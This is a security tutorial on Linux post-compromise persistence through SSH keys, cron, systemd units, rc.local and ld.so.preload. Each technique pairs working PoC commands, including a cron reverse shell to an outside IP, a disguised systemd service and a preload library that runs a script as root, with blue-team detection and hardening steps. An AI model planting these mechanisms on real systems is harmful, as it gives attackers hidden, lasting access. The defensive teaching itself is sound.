Linux Persistence Techniques: Maintaining Access After Initial Compromise

Linux Privesc
Time it takes to read this article 5 minutes.

Introduction / Overview

Legal & Ethical Disclaimer: The techniques below are for education and authorized security testing only. Run them on systems you own or have explicit written permission to test. Unauthorized access or modification of computer systems is illegal in most jurisdictions.

Gaining a shell is only half the engagement. The moment a box reboots, a session times out, or a defender kills your process, your foothold evaporates — unless you have planted persistence. In this article we walk through five battle-tested Linux persistence mechanisms that map to MITRE ATT&CK and are constantly seen in real intrusions:

  • SSH authorized_keys (T1098.004)
  • cron jobs (T1053.003)
  • systemd services and timers (T1543.002 / T1053.006)
  • rc.local and init scripts (T1037.004)
  • ld.so.preload library injection (T1574.006)

For each we cover how it works, a PoC, and — with equal weight — how the blue team finds and kills it. If you have not yet escalated privileges, pair this with our Linux privilege escalation checklist and GTFOBins for SUID abuse.

How It Works / Background

Linux persistence abuses the same boot, scheduling, and authentication subsystems that legitimate admins rely on. The trade-off is always reliability vs. stealth:

  • User-context mechanisms (a user crontab, ~/.ssh/authorized_keys) survive reboot but die if the account is locked.
  • Root/system mechanisms (systemd units, /etc/cron.d, ld.so.preload) survive everything but require root and are loud in audit logs.

A mature operator chooses the lowest-privilege mechanism that meets the objective, and avoids touching files that integrity monitoring watches.

Prerequisites / Lab Setup

Spin up a disposable VM — Ubuntu 22.04 or Debian 12 works well. You need:

  • A non-root user shell (for user-level techniques)
  • sudo/root for system-level techniques
  • systemd as PID 1 (default on modern distros)
# Confirm the init system and current context
ps -p 1 -o comm=        # expect: systemd
id                      # note uid / gid
uname -a

Attack Walkthrough / PoC

1. SSH authorized_keys

The cleanest user-level persistence. Append your public key and you can log back in directly, bypassing password auth entirely.

# On your attack box: generate a dedicated key pair
ssh-keygen -t ed25519 -f ./op_key -N ''

# On the target (as the victim user)
mkdir -p ~/.ssh && chmod 700 ~/.ssh
echo 'ssh-ed25519 AAAAC3Nza...your_pub_key... op' >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

Stealthier variant: write the key to ~/.ssh/authorized_keys2 (still honored by default AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2 on many builds) or abuse a forced command. Reconnect:

ssh -i ./op_key victim@target

2. Cron

Cron gives you scheduled, repeating execution. A user crontab survives reboot and needs no root.

# Add a callback every 10 minutes (user context)
( crontab -l 2>/dev/null; echo '*/10 * * * * /bin/bash -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"' ) | crontab -

With root, drop a file into a system cron directory — these are easy to miss in a crowded /etc:

# Root-level, fires every minute
echo '* * * * * root /usr/local/bin/.update.sh' > /etc/cron.d/system-update
chmod 644 /etc/cron.d/system-update

Note the user field (root) — it only exists in /etc/crontab and /etc/cron.d/*, not in per-user crontabs.

3. systemd service + timer

The modern, robust choice. A service unit with Restart=always resurrects your implant; a timer schedules it like cron but with logging and randomization.

# /etc/systemd/system/dbus-helper.service   (run as root)
[Unit]
Description=D-Bus user session helper

[Service]
Type=simple
ExecStart=/usr/local/bin/.dbus-helper
Restart=always
RestartSec=30

[Install]
WantedBy=multi-user.target
systemctl daemon-reload
systemctl enable --now dbus-helper.service

A user-level systemd unit needs no root and lingers across logouts if enabled:

mkdir -p ~/.config/systemd/user
# ... write unit to ~/.config/systemd/user/agent.service ...
systemctl --user enable --now agent.service
loginctl enable-linger "$USER"   # keep it running after logout

4. rc.local

Legacy but still present (or re-creatable) on many systems. /etc/rc.local runs late in boot as root.

# Recreate if missing
cat > /etc/rc.local <<'EOF'
#!/bin/sh -e
/usr/local/bin/.update.sh &
exit 0
EOF
chmod +x /etc/rc.local

On systemd hosts, /etc/rc.local is executed by the rc-local.service compatibility unit only if the file exists and is executable — verify with systemctl status rc-local.

5. ld.so.preload

The stealthiest and nastiest. The dynamic linker reads /etc/ld.so.preload and loads every library listed into every dynamically linked process — the basis of userland rootkits like Jynx2 and many libprocesshider variants.

/* hook.c — minimal constructor that runs in every process */
#include <stdlib.h>
__attribute__((constructor))
void init(void) {
    if (getuid() == 0) system("/usr/local/bin/.update.sh &");
}
gcc -shared -fPIC -o /usr/local/lib/.hook.so hook.c -ldl
echo '/usr/local/lib/.hook.so' > /etc/ld.so.preload

Real-world preload rootkits also hook readdir/open to hide their own files, making them very hard to spot from inside the box. This requires root and is the loudest to a file-integrity monitor but nearly invisible to a casual ps.

Attack Flow Diagram

Linux Persistence Techniques: Maintaining Access After Initial Compromise diagram 1

Diagram: after a foothold, the operator branches on privilege level to pick a persistence mechanism, each of which re-triggers a callback after reboot or session loss.

Detection & Defense (Blue Team)

Persistence is only useful if it survives detection — so defenders should hunt every mechanism above.

authorized_keys

# Enumerate every authorized_keys on the host
find /home /root -name 'authorized_keys*' -exec ls -la {} \; \
  -exec cat {} \;

Alert on writes to any authorized_keys/authorized_keys2 via auditd. Prefer centrally managed keys and AuthorizedKeysFile pinned to a path users cannot write.

cron

for u in $(cut -f1 -d: /etc/passwd); do crontab -l -u "$u" 2>/dev/null; done
ls -la /etc/cron.* /etc/crontab

Watch /etc/cron.d/, /var/spool/cron/ and crontab modifications with auditd rules.

systemd

systemctl list-units --type=service --state=running
systemctl list-timers --all
systemctl --user list-units      # don't forget user scope!
grep -rE 'ExecStart|Restart' /etc/systemd/system ~/.config/systemd/user 2>/dev/null

Compare enabled units against a known-good baseline; flag units in unusual paths or with masquerading names.

rc.local & init

ls -la /etc/rc.local; systemctl status rc-local
cat /etc/rc.local 2>/dev/null

ld.so.preload (highest priority)

cat /etc/ld.so.preload 2>/dev/null          # should normally not exist
ls -la /etc/ld.so.preload

The mere existence of /etc/ld.so.preload on a stock server is suspicious. Because a preload rootkit can hook syscalls to hide itself, verify from an out-of-band source — mount the disk offline, or compare against the kernel view (/proc) rather than ls.

Cross-cutting defenses:

  • Deploy a File Integrity Monitor (AIDE, Tripwire, Wazuh FIM) over /etc/cron*, /etc/systemd, /etc/ld.so.preload, /etc/rc.local, and all authorized_keys.
  • Centralize logs and auditd events off-box so a root attacker cannot scrub them.
  • Run rkhunter / chkrootkit and Lynis on a schedule.
  • Apply least privilege and mount /home with noexec where feasible.

Conclusion

Persistence is a layered game: pick the lowest-privilege mechanism that meets your reliability goal, and assume a competent defender is watching the obvious files. From the blue side, the inverse is true — baseline the boot, scheduling, and auth subsystems, alert on writes to them, and treat any /etc/ld.so.preload as guilty until proven innocent. For the broader kill-chain context, see our post-exploitation fundamentals guide.

References

Comments

Copied title and URL